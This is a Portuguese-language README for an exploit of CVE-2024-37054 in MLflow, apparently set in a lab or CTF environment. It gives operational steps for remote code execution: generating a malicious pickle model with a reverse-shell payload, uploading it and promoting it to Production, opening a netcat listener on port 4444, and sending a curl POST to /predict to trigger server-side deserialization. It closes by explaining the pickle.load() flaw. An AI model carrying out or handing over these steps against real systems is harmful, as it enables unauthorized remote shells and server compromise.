
Exploit para CVE-2024-37054: gera um modelo pickle malicioso, envia-o para o MLflow e dispara execução remota de código via endpoint /predict.
| Arquivo | Propósito |
|---|
generate_model.py | Gera o model.pkl malicioso com payload de reverse shell |
upload_model.py | Envia o pickle para o MLflow e promove-o para Produção |
sample.csv | Arquivo CSV usado para acionar o endpoint /predict |
Edite generate_model.py e defina seu IP tun0:
python3 generate_model.py
nc -lvnp 4444
Edite upload_model.py:
MLFLOW para http://127.0.0.1:5000MODEL_NAME para o nome do modelo ativo encontrado no domínio principalpython3 upload_model.py
Obtenha um cookie de sessão novo a partir do aplicativo cliente, então:
curl -X POST http://127.0.0.1:80/predict \
-H "Cookie: session=<YOUR_SESSION_COOKIE>" \
-F "[email protected]"
O shell é recebido no seu listener.
Desserialização Pickle via MLflow Model Registry
MLflow carrega modelos registrados usando pickle.load() do Python. Ao enviar um pickle manipulado como artefato de modelo e promovê-lo para Produção, qualquer chamada subsequente a /predict desserializa o payload no lado do servidor, alcançando RCE não autenticado como o usuário da aplicação.